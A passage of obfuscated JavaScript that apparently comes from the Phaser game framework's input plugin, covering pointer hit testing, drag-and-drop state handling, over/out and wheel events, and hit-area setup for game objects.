_0x315cf8['indexOf'](_0x17d3fd); _0x55aba0 > -0x1 && (_0x315cf8['splice'](_0x55aba0, 0x1), this['clear'](_0x17d3fd, !0x0)); } this['_pendingRemoval']['length'] = 0x0, this['_list'] = _0x315cf8['concat'](_0x1c3d3b['splice'](0x0)); } }, 'isActive': function () { return this['manager'] && this['manager']['enabled'] && this['enabled'] && this['scene']['sys']['canInput'](); }, 'setCursor': function (_0x226fa7) { this['manager'] && this['manager']['setCursor'](_0x226fa7); }, 'resetCursor': function () { this['manager'] && this['manager']['resetCursor'](null, !0x0); }, 'updatePoll': function (_0x166548, _0x501b13) { if (!this['isActive']()) return !0x1; if (this['pluginEvents']['emit'](_0x1a0ca2['UPDATE'], _0x166548, _0x501b13), this['_updatedThisFrame']) return this['_updatedThisFrame'] = !0x1, !0x1; var _0x237b42, _0x498ed1 = this['manager']['pointers']; for (_0x237b42 = 0x0; _0x237b42 < _0x498ed1['length']; _0x237b42++)_0x498ed1[_0x237b42]['updateMotion'](); if (0x0 === this['_list']['length']) return !0x1; var _0x51ac7b = this['pollRate']; if (-0x1 === _0x51ac7b) return !0x1; if (_0x51ac7b > 0x0) { if (this['_pollTimer'] -= _0x501b13, !(this['_pollTimer'] < 0x0)) return !0x1; this['_pollTimer'] = this['pollRate']; } var _0x1de29c = !0x1; for (_0x237b42 = 0x0; _0x237b42 < _0x498ed1['length']; _0x237b42++) { var _0x4c2729 = 0x0, _0x4f08c8 = _0x498ed1[_0x237b42]; this['_tempZones'] = [], this['_temp'] = this['hitTestPointer'](_0x4f08c8), this['sortGameObjects'](this['_temp'], _0x4f08c8), this['sortDropZones'](this['_tempZones']), this['topOnly'] && (this['_temp']['length'] && this['_temp']['splice'](0x1), this['_tempZones']['length'] && this['_tempZones']['splice'](0x1)), _0x4c2729 += this['processOverOutEvents'](_0x4f08c8), 0x2 === this['getDragState'](_0x4f08c8) && this['processDragThresholdEvent'](_0x4f08c8, _0x166548), _0x4c2729 > 0x0 && (_0x1de29c = !0x0); } return _0x1de29c; }, 'update': function (_0x18a5cb, _0x48ef25) { if (!this['isActive']()) return !0x1; for (var _0x2630a1 = !0x1, _0x5655a3 = 0x0; _0x5655a3 < _0x48ef25['length']; _0x5655a3++) { var _0xca9431 = 0x0, _0x4e1c1f = _0x48ef25[_0x5655a3]; switch (this['_tempZones'] = [], this['_temp'] = this['hitTestPointer'](_0x4e1c1f), this['sortGameObjects'](this['_temp'], _0x4e1c1f), this['sortDropZones'](this['_tempZones']), this['topOnly'] && (this['_temp']['length'] && this['_temp']['splice'](0x1), this['_tempZones']['length'] && this['_tempZones']['splice'](0x1)), _0x18a5cb) { case _0x18a092['MOUSE_DOWN']: _0xca9431 += this['processDragDownEvent'](_0x4e1c1f), _0xca9431 += this['processDownEvents'](_0x4e1c1f), _0xca9431 += this['processOverOutEvents'](_0x4e1c1f); break; case _0x18a092['MOUSE_UP']: _0xca9431 += this['processDragUpEvent'](_0x4e1c1f), _0xca9431 += this['processUpEvents'](_0x4e1c1f), _0xca9431 += this['processOverOutEvents'](_0x4e1c1f); break; case _0x18a092['TOUCH_START']: _0xca9431 += this['processDragDownEvent'](_0x4e1c1f), _0xca9431 += this['processDownEvents'](_0x4e1c1f), _0xca9431 += this['processOverEvents'](_0x4e1c1f); break; case _0x18a092['TOUCH_END']: case _0x18a092['TOUCH_CANCEL']: _0xca9431 += this['processDragUpEvent'](_0x4e1c1f), _0xca9431 += this['processUpEvents'](_0x4e1c1f), _0xca9431 += this['processOutEvents'](_0x4e1c1f); break; case _0x18a092['MOUSE_MOVE']: case _0x18a092['TOUCH_MOVE']: _0xca9431 += this['processDragMoveEvent'](_0x4e1c1f), _0xca9431 += this['processMoveEvents'](_0x4e1c1f), _0xca9431 += this['processOverOutEvents'](_0x4e1c1f); break; case _0x18a092['MOUSE_WHEEL']: _0xca9431 += this['processWheelEvent'](_0x4e1c1f); }_0xca9431 > 0x0 && (_0x2630a1 = !0x0); } return this['_updatedThisFrame'] = !0x0, _0x2630a1; }, 'clear': function (_0x48c687, _0x465a0c) { void 0x0 === _0x465a0c && (_0x465a0c = !0x1), this['disable'](_0x48c687); var _0x2d0d11 = _0x48c687['input']; _0x2d0d11 && (this['removeDebug'](_0x48c687), this['manager']['resetCursor'](_0x2d0d11), _0x2d0d11['gameObject'] = void 0x0, _0x2d0d11['target'] = void 0x0, _0x2d0d11['hitArea'] = void 0x0, _0x2d0d11['hitAreaCallback'] = void 0x0, _0x2d0d11['callbackContext'] = void 0x0, _0x48c687['input'] = null), _0x465a0c || this['queueForRemoval'](_0x48c687); var _0x3ddf3c = this['_draggable']['indexOf'](_0x48c687); return _0x3ddf3c > -0x1 && this['_draggable']['splice'](_0x3ddf3c, 0x1), _0x48c687; }, 'disable': function (_0x3dbbf6, _0x1e767b) { void 0x0 === _0x1e767b && (_0x1e767b = !0x1); var _0x21c6b7 = _0x3dbbf6['input']; _0x21c6b7 && (_0x21c6b7['enabled'] = !0x1, _0x21c6b7['dragState'] = 0x0); for (var _0xa2ef15, _0x57e3a6 = this['_drag'], _0x3baa65 = this['_over'], _0xa438ec = this['manager'], _0xdb8638 = 0x0; _0xdb8638 < _0xa438ec['pointers']['length']; _0xdb8638++)(_0xa2ef15 = _0x57e3a6[_0xdb8638]['indexOf'](_0x3dbbf6)) > -0x1 && _0x57e3a6[_0xdb8638]['splice'](_0xa2ef15, 0x1), (_0xa2ef15 = _0x3baa65[_0xdb8638]['indexOf'](_0x3dbbf6)) > -0x1 && _0x3baa65[_0xdb8638]['splice'](_0xa2ef15, 0x1); return _0x1e767b && this['resetCursor'](), this; }, 'enable': function (_0xd751dd, _0x1f121b, _0x5c0946, _0x357e79) { return void 0x0 === _0x357e79 && (_0x357e79 = !0x1), _0xd751dd['input'] ? _0xd751dd['input']['enabled'] = !0x0 : this['setHitArea'](_0xd751dd, _0x1f121b, _0x5c0946), _0xd751dd['input'] && _0x357e79 && !_0xd751dd['input']['dropZone'] && (_0xd751dd['input']['dropZone'] = _0x357e79), this; }, 'hitTestPointer': function (_0x55c693) { for (var _0x394d17 = this['cameras']['getCamerasBelowPointer'](_0x55c693), _0x1f6d61 = 0x0; _0x1f6d61 < _0x394d17['length']; _0x1f6d61++) { for (var _0x30416b = _0x394d17[_0x1f6d61], _0x2eb493 = this['manager']['hitTest'](_0x55c693, this['_list'], _0x30416b), _0x2a9ccd = 0x0; _0x2a9ccd < _0x2eb493['length']; _0x2a9ccd++) { var _0x34fd5e = _0x2eb493[_0x2a9ccd]; _0x34fd5e['input']['dropZone'] && this['_tempZones']['push'](_0x34fd5e); } if (_0x2eb493['length'] > 0x0) return _0x55c693['camera'] = _0x30416b, _0x2eb493; } return _0x55c693['camera'] = _0x394d17[0x0], []; }, 'processDownEvents': function (_0x5dc41a) { var _0x37a939 = 0x0, _0x16bf93 = this['_temp'], _0x315c3d = this['_eventData'], _0xdba5e2 = this['_eventContainer']; _0x315c3d['cancelled'] = !0x1; for (var _0x5401b2 = 0x0; _0x5401b2 < _0x16bf93['length']; _0x5401b2++) { var _0x4c3b14 = _0x16bf93[_0x5401b2]; if (_0x4c3b14['input'] && _0x4c3b14['input']['enabled']) { if (_0x37a939++, _0x4c3b14['emit'](_0x1a0ca2['GAMEOBJECT_POINTER_DOWN'], _0x5dc41a, _0x4c3b14['input']['localX'], _0x4c3b14['input']['localY'], _0xdba5e2), _0x315c3d['cancelled'] || !this['isActive']()) break; if (_0x4c3b14['input'] && _0x4c3b14['input']['enabled'] && (this['emit'](_0x1a0ca2['GAMEOBJECT_DOWN'], _0x5dc41a, _0x4c3b14, _0xdba5e2), _0x315c3d['cancelled'] || !this['isActive']())) break; } } return !_0x315c3d['cancelled'] && this['isActive']() && (_0x5dc41a['downElement'] === this['manager']['game']['canvas'] ? this['emit'](_0x1a0ca2['POINTER_DOWN'], _0x5dc41a, _0x16bf93) : this['emit'](_0x1a0ca2['POINTER_DOWN_OUTSIDE'], _0x5dc41a)), _0x37a939; }, 'getDragState': function (_0x24bbf9) { return this['_dragState'][_0x24bbf9['id']]; }, 'setDragState': function (_0x377025, _0x51d730) { this['_dragState'][_0x377025['id']] = _0x51d730; }, 'processDragThresholdEvent': function (_0x13cc13, _0x19b8a5) { var _0x5324d8 = !0x1, _0x2ed49c = this['dragTimeThreshold'], _0x59934f = this['dragDistanceThreshold']; if ((_0x59934f > 0x0 && _0x2bb466(_0x13cc13['x'], _0x13cc13['y'], _0x13cc13['downX'], _0x13cc13['downY']) >= _0x59934f || _0x2ed49c > 0x0 && _0x19b8a5 >= _0x13cc13['downTime'] + _0x2ed49c) && (_0x5324d8 = !0x0), _0x5324d8) return this['setDragState'](_0x13cc13, 0x3), this['processDragStartList'](_0x13cc13); }, 'processDragStartList': function (_0x1890be) { if (0x3 !== this['getDragState'](_0x1890be)) return 0x0; var _0xb226d6 = this['_drag'][_0x1890be['id']]; _0xb226d6['length'] > 0x1 && (_0xb226d6 = _0xb226d6['slice'](0x0)); for (var _0x117c9d = 0x0; _0x117c9d < _0xb226d6['length']; _0x117c9d++) { var _0x5c82f7 = _0xb226d6[_0x117c9d], _0x595215 = _0x5c82f7['input']; _0x595215['dragState'] = 0x2, _0x595215['dragStartX'] = _0x5c82f7['x'], _0x595215['dragStartY'] = _0x5c82f7['y'], _0x595215['dragStartXGlobal'] = _0x1890be['worldX'], _0x595215['dragStartYGlobal'] = _0x1890be['worldY'], _0x595215['dragStartCamera'] = _0x1890be['camera'], _0x595215['dragX'] = _0x595215['dragStartXGlobal'] - _0x595215['dragStartX'], _0x595215['dragY'] = _0x595215['dragStartYGlobal'] - _0x595215['dragStartY'], _0x5c82f7['emit'](_0x1a0ca2['GAMEOBJECT_DRAG_START'], _0x1890be, _0x595215['dragX'], _0x595215['dragY']), this['emit'](_0x1a0ca2['DRAG_START'], _0x1890be, _0x5c82f7); } return this['setDragState'](_0x1890be, 0x4), _0xb226d6['length']; }, 'processDragDownEvent': function (_0x5be277) { var _0xe29948 = this['_temp']; if (0x0 === this['_draggable']['length'] || 0x0 === _0xe29948['length'] || !_0x5be277['primaryDown'] || 0x0 !== this['getDragState'](_0x5be277)) return 0x0; this['setDragState'](_0x5be277, 0x1); for (var _0x287498 = [], _0x54acea = 0x0; _0x54acea < _0xe29948['length']; _0x54acea++) { var _0xbcac3f = _0xe29948[_0x54acea]; _0xbcac3f['input']['draggable'] && 0x0 === _0xbcac3f['input']['dragState'] && _0x287498['push'](_0xbcac3f); } return 0x0 === _0x287498['length'] ? (this['setDragState'](_0x5be277, 0x0), 0x0) : (_0x287498['length'] > 0x1 && (this['sortGameObjects'](_0x287498, _0x5be277), this['topOnly'] && _0x287498['splice'](0x1)), this['_drag'][_0x5be277['id']] = _0x287498, 0x0 === this['dragDistanceThreshold'] && 0x0 === this['dragTimeThreshold'] ? (this['setDragState'](_0x5be277, 0x3), this['processDragStartList'](_0x5be277)) : (this['setDragState'](_0x5be277, 0x2), 0x0)); }, 'processDragMoveEvent': function (_0x1be85f) { if (0x2 === this['getDragState'](_0x1be85f) && this['processDragThresholdEvent'](_0x1be85f, this['manager']['game']['loop']['now']), 0x4 !== this['getDragState'](_0x1be85f)) return 0x0; var _0x1400fb = this['_tempZones'], _0x550201 = this['_drag'][_0x1be85f['id']]; _0x550201['length'] > 0x1 && (_0x550201 = _0x550201['slice'](0x0)); for (var _0x483d75 = 0x0; _0x483d75 < _0x550201['length']; _0x483d75++) { var _0x392835, _0x22bf1f, _0x3817a1 = _0x550201[_0x483d75], _0x4601ea = _0x3817a1['input'], _0x57d430 = _0x4601ea['target']; if (_0x57d430) { var _0x1c3d46 = _0x1400fb['indexOf'](_0x57d430); 0x0 === _0x1c3d46 ? (_0x3817a1['emit'](_0x1a0ca2['GAMEOBJECT_DRAG_OVER'], _0x1be85f, _0x57d430), this['emit'](_0x1a0ca2['DRAG_OVER'], _0x1be85f, _0x3817a1, _0x57d430)) : _0x1c3d46 > 0x0 ? (_0x3817a1['emit'](_0x1a0ca2['GAMEOBJECT_DRAG_LEAVE'], _0x1be85f, _0x57d430), this['emit'](_0x1a0ca2['DRAG_LEAVE'], _0x1be85f, _0x3817a1, _0x57d430), _0x4601ea['target'] = _0x1400fb[0x0], _0x57d430 = _0x4601ea['target'], _0x3817a1['emit'](_0x1a0ca2['GAMEOBJECT_DRAG_ENTER'], _0x1be85f, _0x57d430), this['emit'](_0x1a0ca2['DRAG_ENTER'], _0x1be85f, _0x3817a1, _0x57d430)) : (_0x3817a1['emit'](_0x1a0ca2['GAMEOBJECT_DRAG_LEAVE'], _0x1be85f, _0x57d430), this['emit'](_0x1a0ca2['DRAG_LEAVE'], _0x1be85f, _0x3817a1, _0x57d430), _0x1400fb[0x0] ? (_0x4601ea['target'] = _0x1400fb[0x0], _0x57d430 = _0x4601ea['target'], _0x3817a1['emit'](_0x1a0ca2['GAMEOBJECT_DRAG_ENTER'], _0x1be85f, _0x57d430), this['emit'](_0x1a0ca2['DRAG_ENTER'], _0x1be85f, _0x3817a1, _0x57d430)) : _0x4601ea['target'] = null); } else !_0x57d430 && _0x1400fb[0x0] && (_0x4601ea['target'] = _0x1400fb[0x0], _0x57d430 = _0x4601ea['target'], _0x3817a1['emit'](_0x1a0ca2['GAMEOBJECT_DRAG_ENTER'], _0x1be85f, _0x57d430), this['emit'](_0x1a0ca2['DRAG_ENTER'], _0x1be85f, _0x3817a1, _0x57d430)); var _0x1b3a8a = _0x1be85f['positionToCamera'](_0x4601ea['dragStartCamera']); if (_0x3817a1['parentContainer']) { var _0x4f2e7a = _0x1b3a8a['x'] - _0x4601ea['dragStartXGlobal'], _0x480819 = _0x1b3a8a['y'] - _0x4601ea['dragStartYGlobal'], _0xda9dd8 = _0x3817a1['getParentRotation'](), _0x2751c0 = _0x4f2e7a * Math['cos'](_0xda9dd8) + _0x480819 * Math['sin'](_0xda9dd8), _0x16039c = _0x480819 * Math['cos'](_0xda9dd8) - _0x4f2e7a * Math['sin'](_0xda9dd8); _0x2751c0 *= 0x1 / _0x3817a1['parentContainer']['scaleX'], _0x16039c *= 0x1 / _0x3817a1['parentContainer']['scaleY'], _0x392835 = _0x2751c0 + _0x4601ea['dragStartX'], _0x22bf1f = _0x16039c + _0x4601ea['dragStartY']; } else _0x392835 = _0x1b3a8a['x'] - _0x4601ea['dragX'], _0x22bf1f = _0x1b3a8a['y'] - _0x4601ea['dragY']; _0x3817a1['emit'](_0x1a0ca2['GAMEOBJECT_DRAG'], _0x1be85f, _0x392835, _0x22bf1f), this['emit'](_0x1a0ca2['DRAG'], _0x1be85f, _0x3817a1, _0x392835, _0x22bf1f); } return _0x550201['length']; }, 'processDragUpEvent': function (_0x533048) { var _0x10ee92 = this['_drag'][_0x533048['id']]; _0x10ee92['length'] > 0x1 && (_0x10ee92 = _0x10ee92['slice'](0x0)); for (var _0x2b967b = 0x0; _0x2b967b < _0x10ee92['length']; _0x2b967b++) { var _0x38c4f8 = _0x10ee92[_0x2b967b], _0x2ce9b1 = _0x38c4f8['input']; if (_0x2ce9b1 && 0x2 === _0x2ce9b1['dragState']) { _0x2ce9b1['dragState'] = 0x0, _0x2ce9b1['dragX'] = _0x2ce9b1['localX'] - _0x38c4f8['displayOriginX'], _0x2ce9b1['dragY'] = _0x2ce9b1['localY'] - _0x38c4f8['displayOriginY'], _0x2ce9b1['dragStartCamera'] = null; var _0x374276 = !0x1, _0x2a1343 = _0x2ce9b1['target']; _0x2a1343 && (_0x38c4f8['emit'](_0x1a0ca2['GAMEOBJECT_DROP'], _0x533048, _0x2a1343), this['emit'](_0x1a0ca2['DROP'], _0x533048, _0x38c4f8, _0x2a1343), _0x2ce9b1['target'] = null, _0x374276 = !0x0), _0x38c4f8['input'] && _0x38c4f8['input']['enabled'] && (_0x38c4f8['emit'](_0x1a0ca2['GAMEOBJECT_DRAG_END'], _0x533048, _0x2ce9b1['dragX'], _0x2ce9b1['dragY'], _0x374276), this['emit'](_0x1a0ca2['DRAG_END'], _0x533048, _0x38c4f8, _0x374276)); } } return this['setDragState'](_0x533048, 0x0), _0x10ee92['splice'](0x0), 0x0; }, 'processMoveEvents': function (_0x40b55d) { var _0x2af3b1 = 0x0, _0x33e594 = this['_temp'], _0x4078e6 = this['_eventData'], _0x334ca9 = this['_eventContainer']; _0x4078e6['cancelled'] = !0x1; for (var _0x7ce8f1 = 0x0; _0x7ce8f1 < _0x33e594['length']; _0x7ce8f1++) { var _0x3416f1 = _0x33e594[_0x7ce8f1]; if (_0x3416f1['input'] && _0x3416f1['input']['enabled']) { if (_0x2af3b1++, _0x3416f1['emit'](_0x1a0ca2['GAMEOBJECT_POINTER_MOVE'], _0x40b55d, _0x3416f1['input']['localX'], _0x3416f1['input']['localY'], _0x334ca9), _0x4078e6['cancelled'] || !this['isActive']()) break; if (_0x3416f1['input'] && _0x3416f1['input']['enabled']) { if (this['emit'](_0x1a0ca2['GAMEOBJECT_MOVE'], _0x40b55d, _0x3416f1, _0x334ca9), _0x4078e6['cancelled'] || !this['isActive']()) break; if (this['topOnly']) break; } } } return !_0x4078e6['cancelled'] && this['isActive']() && this['emit'](_0x1a0ca2['POINTER_MOVE'], _0x40b55d, _0x33e594), _0x2af3b1; }, 'processWheelEvent': function (_0x422c57) { var _0x1623e2 = 0x0, _0x459ba7 = this['_temp'], _0x56396c = this['_eventData'], _0x402424 = this['_eventContainer']; _0x56396c['cancelled'] = !0x1; for (var _0x127d58 = _0x422c57['deltaX'], _0xd7cd66 = _0x422c57['deltaY'], _0x3f3faf = _0x422c57['deltaZ'], _0x5f517b = 0x0; _0x5f517b < _0x459ba7['length']; _0x5f517b++) { var _0x645a98 = _0x459ba7[_0x5f517b]; if (_0x645a98['input'] && _0x645a98['input']['enabled']) { if (_0x1623e2++, _0x645a98['emit'](_0x1a0ca2['GAMEOBJECT_POINTER_WHEEL'], _0x422c57, _0x127d58, _0xd7cd66, _0x3f3faf, _0x402424), _0x56396c['cancelled'] || !this['isActive']()) break; if (_0x645a98['input'] && _0x645a98['input']['enabled'] && (this['emit'](_0x1a0ca2['GAMEOBJECT_WHEEL'], _0x422c57, _0x645a98, _0x127d58, _0xd7cd66, _0x3f3faf, _0x402424), _0x56396c['cancelled'] || !this['isActive']())) break; } } return !_0x56396c['cancelled'] && this['isActive']() && this['emit'](_0x1a0ca2['POINTER_WHEEL'], _0x422c57, _0x459ba7, _0x127d58, _0xd7cd66, _0x3f3faf), _0x1623e2; }, 'processOverEvents': function (_0x2b1673) { var _0x5673f4 = this['_temp'], _0x53b89d = 0x0, _0x4a8cfd = _0x5673f4['length'], _0x4d62c4 = []; if (_0x4a8cfd > 0x0) { var _0x48cd07 = this['manager'], _0xf3981c = this['_eventData'], _0x2d6e5d = this['_eventContainer']; _0xf3981c['cancelled'] = !0x1; for (var _0x3fa7e7 = 0x0; _0x3fa7e7 < _0x4a8cfd; _0x3fa7e7++) { var _0x56f3db = _0x5673f4[_0x3fa7e7]; if (_0x56f3db['input'] && _0x56f3db['input']['enabled']) { if (_0x4d62c4['push'](_0x56f3db), _0x48cd07['setCursor'](_0x56f3db['input']), _0x56f3db['emit'](_0x1a0ca2['GAMEOBJECT_POINTER_OVER'], _0x2b1673, _0x56f3db['input']['localX'], _0x56f3db['input']['localY'], _0x2d6e5d), _0x53b89d++, _0xf3981c['cancelled'] || !this['isActive']()) break; if (_0x56f3db['input'] && _0x56f3db['input']['enabled'] && (this['emit'](_0x1a0ca2['GAMEOBJECT_OVER'], _0x2b1673, _0x56f3db, _0x2d6e5d), _0xf3981c['cancelled'] || !this['isActive']())) break; } } !_0xf3981c['cancelled'] && this['isActive']() && this['emit'](_0x1a0ca2['POINTER_OVER'], _0x2b1673, _0x4d62c4); } return this['_over'][_0x2b1673['id']] = _0x4d62c4, _0x53b89d; }, 'processOutEvents': function (_0x2660b0) { var _0x9c5069 = this['_over'][_0x2660b0['id']], _0x2ba4b4 = 0x0, _0x2ae31a = _0x9c5069['length']; if (_0x2ae31a > 0x0) { var _0xaaf167 = this['manager'], _0x19d76a = this['_eventData'], _0x491c5f = this['_eventContainer']; _0x19d76a['cancelled'] = !0x1, this['sortGameObjects'](_0x9c5069, _0x2660b0); for (var _0x10f0de = 0x0; _0x10f0de < _0x2ae31a; _0x10f0de++) { var _0x36daaa = _0x9c5069[_0x10f0de]; if ((_0x36daaa = _0x9c5069[_0x10f0de])['input'] && _0x36daaa['input']['enabled']) { if (_0xaaf167['resetCursor'](_0x36daaa['input']), _0x36daaa['emit'](_0x1a0ca2['GAMEOBJECT_POINTER_OUT'], _0x2660b0, _0x491c5f), _0x2ba4b4++, _0x19d76a['cancelled'] || !this['isActive']()) break; if (_0x36daaa['input'] && _0x36daaa['input']['enabled'] && (this['emit'](_0x1a0ca2['GAMEOBJECT_OUT'], _0x2660b0, _0x36daaa, _0x491c5f), _0x19d76a['cancelled'] || !this['isActive']())) break; } } !_0x19d76a['cancelled'] && this['isActive']() && this['emit'](_0x1a0ca2['POINTER_OUT'], _0x2660b0, _0x9c5069), this['_over'][_0x2660b0['id']] = []; } return _0x2ba4b4; }, 'processOverOutEvents': function (_0x3ad81e) { var _0x5d7313, _0x352216, _0x5b6a8d = this['_temp'], _0x214a2b = [], _0x40319f = [], _0x29e3f9 = [], _0x96b601 = this['_over'][_0x3ad81e['id']], _0x133e80 = this['_drag'][_0x3ad81e['id']], _0x4cff6c = this['manager']; for (_0x5d7313 = 0x0; _0x5d7313 < _0x96b601['length']; _0x5d7313++)_0x352216 = _0x96b601[_0x5d7313], -0x1 === _0x5b6a8d['indexOf'](_0x352216) && -0x1 === _0x133e80['indexOf'](_0x352216) ? _0x214a2b['push'](_0x352216) : _0x29e3f9['push'](_0x352216); for (_0x5d7313 = 0x0; _0x5d7313 < _0x5b6a8d['length']; _0x5d7313++)_0x352216 = _0x5b6a8d[_0x5d7313], -0x1 === _0x96b601['indexOf'](_0x352216) && _0x40319f['push'](_0x352216); var _0x47b603 = _0x214a2b['length'], _0x58f0f0 = 0x0, _0x1071c3 = this['_eventData'], _0x3e9cb2 = this['_eventContainer']; if (_0x1071c3['cancelled'] = !0x1, _0x47b603 > 0x0) { for (this['sortGameObjects'](_0x214a2b, _0x3ad81e), _0x5d7313 = 0x0; _0x5d7313 < _0x47b603; _0x5d7313++)if ((_0x352216 = _0x214a2b[_0x5d7313])['input'] && _0x352216['input']['enabled']) { if (_0x4cff6c['resetCursor'](_0x352216['input']), _0x352216['emit'](_0x1a0ca2['GAMEOBJECT_POINTER_OUT'], _0x3ad81e, _0x3e9cb2), _0x58f0f0++, _0x1071c3['cancelled'] || !this['isActive']()) break; if (_0x352216['input'] && _0x352216['input']['enabled'] && (this['emit'](_0x1a0ca2['GAMEOBJECT_OUT'], _0x3ad81e, _0x352216, _0x3e9cb2), _0x1071c3['cancelled'] || !this['isActive']())) break; } _0x1071c3['cancelled'] && !this['isActive']() || this['emit'](_0x1a0ca2['POINTER_OUT'], _0x3ad81e, _0x214a2b); } if (_0x47b603 = _0x40319f['length'], _0x1071c3['cancelled'] = !0x1, _0x47b603 > 0x0) { for (this['sortGameObjects'](_0x40319f, _0x3ad81e), _0x5d7313 = 0x0; _0x5d7313 < _0x47b603; _0x5d7313++)if ((_0x352216 = _0x40319f[_0x5d7313])['input'] && _0x352216['input']['enabled']) { if (_0x4cff6c['setCursor'](_0x352216['input']), _0x352216['emit'](_0x1a0ca2['GAMEOBJECT_POINTER_OVER'], _0x3ad81e, _0x352216['input']['localX'], _0x352216['input']['localY'], _0x3e9cb2), _0x58f0f0++, _0x1071c3['cancelled'] || !this['isActive']()) break; if (_0x352216['input'] && _0x352216['input']['enabled'] && (this['emit'](_0x1a0ca2['GAMEOBJECT_OVER'], _0x3ad81e, _0x352216, _0x3e9cb2), _0x1071c3['cancelled'] || !this['isActive']())) break; } !_0x1071c3['cancelled'] && this['isActive']() && this['emit'](_0x1a0ca2['POINTER_OVER'], _0x3ad81e, _0x40319f); } return _0x96b601 = _0x29e3f9['concat'](_0x40319f), this['_over'][_0x3ad81e['id']] = this['sortGameObjects'](_0x96b601, _0x3ad81e), _0x58f0f0; }, 'processUpEvents': function (_0x4631b5) { var _0x2130a6 = this['_temp'], _0x2e1175 = this['_eventData'], _0xbb627a = this['_eventContainer']; _0x2e1175['cancelled'] = !0x1; for (var _0x28b73c = 0x0; _0x28b73c < _0x2130a6['length']; _0x28b73c++) { var _0x4c20a0 = _0x2130a6[_0x28b73c]; if (_0x4c20a0['input'] && _0x4c20a0['input']['enabled']) { if (_0x4c20a0['emit'](_0x1a0ca2['GAMEOBJECT_POINTER_UP'], _0x4631b5, _0x4c20a0['input']['localX'], _0x4c20a0['input']['localY'], _0xbb627a), _0x2e1175['cancelled'] || !this['isActive']()) break; if (_0x4c20a0['input'] && _0x4c20a0['input']['enabled'] && (this['emit'](_0x1a0ca2['GAMEOBJECT_UP'], _0x4631b5, _0x4c20a0, _0xbb627a), _0x2e1175['cancelled'] || !this['isActive']())) break; } } return !_0x2e1175['cancelled'] && this['isActive']() && (_0x4631b5['upElement'] === this['manager']['game']['canvas'] ? this['emit'](_0x1a0ca2['POINTER_UP'], _0x4631b5, _0x2130a6) : this['emit'](_0x1a0ca2['POINTER_UP_OUTSIDE'], _0x4631b5)), _0x2130a6['length']; }, 'forceDownState': function (_0x14081a, _0x590b86) { this['forceState'](_0x14081a, _0x590b86, _0x1a0ca2['GAMEOBJECT_POINTER_DOWN'], _0x1a0ca2['GAMEOBJECT_DOWN'], !0x1); }, 'forceUpState': function (_0x3148a7, _0x4aefc0) { this['forceState'](_0x3148a7, _0x4aefc0, _0x1a0ca2['GAMEOBJECT_POINTER_UP'], _0x1a0ca2['GAMEOBJECT_UP'], !0x1); }, 'forceOverState': function (_0x1a3666, _0x1356a5) { this['forceState'](_0x1a3666, _0x1356a5, _0x1a0ca2['GAMEOBJECT_POINTER_OVER'], _0x1a0ca2['GAMEOBJECT_OVER'], !0x0); }, 'forceOutState': function (_0x4576cf, _0x149032) { this['forceState'](_0x4576cf, _0x149032, _0x1a0ca2['GAMEOBJECT_POINTER_OUT'], _0x1a0ca2['GAMEOBJECT_OUT'], !0x1); }, 'forceState': function (_0x356f2b, _0x4aa314, _0x59ad99, _0x1dd533, _0x1b657c) { var _0x1276e5 = this['_eventData'], _0x13cff0 = this['_eventContainer']; _0x1276e5['cancelled'] = !0x1, _0x4aa314['input'] && _0x4aa314['input']['enabled'] && (_0x4aa314['emit'](_0x59ad99, _0x356f2b, _0x4aa314['input']['localX'], _0x4aa314['input']['localY'], _0x13cff0), _0x1b657c && this['setCursor'](_0x4aa314['input']), !_0x1276e5['cancelled'] && this['isActive']() && _0x4aa314['input'] && _0x4aa314['input']['enabled'] && this['emit'](_0x1dd533, _0x356f2b, _0x4aa314, _0x13cff0)); }, 'queueForInsertion': function (_0x189d49) { return -0x1 === this['_pendingInsertion']['indexOf'](_0x189d49) && -0x1 === this['_list']['indexOf'](_0x189d49) && this['_pendingInsertion']['push'](_0x189d49), this; }, 'queueForRemoval': function (_0x268123) { return this['_pendingRemoval']['push'](_0x268123), this; }, 'setDraggable': function (_0x4f4f04, _0x29c254) { void 0x0 === _0x29c254 && (_0x29c254 = !0x0), Array['isArray'](_0x4f4f04) || (_0x4f4f04 = [_0x4f4f04]); for (var _0x2c3bfb = 0x0; _0x2c3bfb < _0x4f4f04['length']; _0x2c3bfb++) { var _0x3adf04 = _0x4f4f04[_0x2c3bfb]; _0x3adf04['input']['draggable'] = _0x29c254; var _0x4bb7b7 = this['_draggable']['indexOf'](_0x3adf04); _0x29c254 && -0x1 === _0x4bb7b7 ? this['_draggable']['push'](_0x3adf04) : !_0x29c254 && _0x4bb7b7 > -0x1 && this['_draggable']['splice'](_0x4bb7b7, 0x1); } return this; }, 'makePixelPerfect': function (_0x5f47c2) { void 0x0 === _0x5f47c2 && (_0x5f47c2 = 0x1); var _0x12195b = this['systems']['textures']; return _0x107794(_0x12195b, _0x5f47c2); }, 'setHitArea': function (_0xe49fef, _0x5c2695, _0x447524) { if (void 0x0 === _0x5c2695) return this['setHitAreaFromTexture'](_0xe49fef); Array['isArray'](_0xe49fef) || (_0xe49fef = [_0xe49fef]); var _0x2ef25f = !0x1, _0x751dfa = !0x1, _0x459625 = !0x1, _0x4d668d = !0x1, _0xf38d8d = !0x1, _0x45e57b = !0x0; if (_0x56e008(_0x5c2695) && Object['keys'](_0x5c2695)['length']) { var _0x219d3f = _0x5c2695, _0x564229 = _0xe49fef['some'](function (_0x260a13) { return _0x260a13['hasOwnProperty']('faces'); }); if (!_0x564229) { _0x5c2695 = _0x367b5d(_0x219d3f, 'hitArea', null), _0x447524 = _0x367b5d(_0x219d3f, 'hitAreaCallback', null), _0xf38d8d = _0x367b5d(_0x219d3f, 'pixelPerfect', !0x1); var _0x425347 = _0x367b5d(_0x219d3f, 'alphaTolerance', 0x1); _0xf38d8d && (_0x5c2695 = {}, _0x447524 = this['makePixelPerfect'](_0x425347)); } _0x2ef25f = _0x367b5d(_0x219d3f, 'draggable', !0x1), _0x751dfa = _0x367b5d(_0x219d3f, 'dropZone', !0x1), _0x459625 = _0x367b5d(_0x219d3f, 'cursor', !0x1), _0x4d668d = _0x367b5d(_0x219d3f, 'useHandCursor', !0x1), _0x5c2695 && _0x447524 || (this['setHitAreaFromTexture'](_0xe49fef), _0x45e57b = !0x1); } else 'function' != typeof _0x5c2695 || _0x447524 || (_0x447524 = _0x5c2695, _0x5c2695 = {}); for (var _0x320686 = 0x0; _0x320686 < _0xe49fef['length']; _0x320686++) { var _0x1cdcb8 = _0xe49fef[_0x320686]; if (!_0xf38d8d || 'Container' !== _0x1cdcb8['type']) { var _0x52f798 = _0x1cdcb8['input'] ? _0x1cdcb8['input'] : 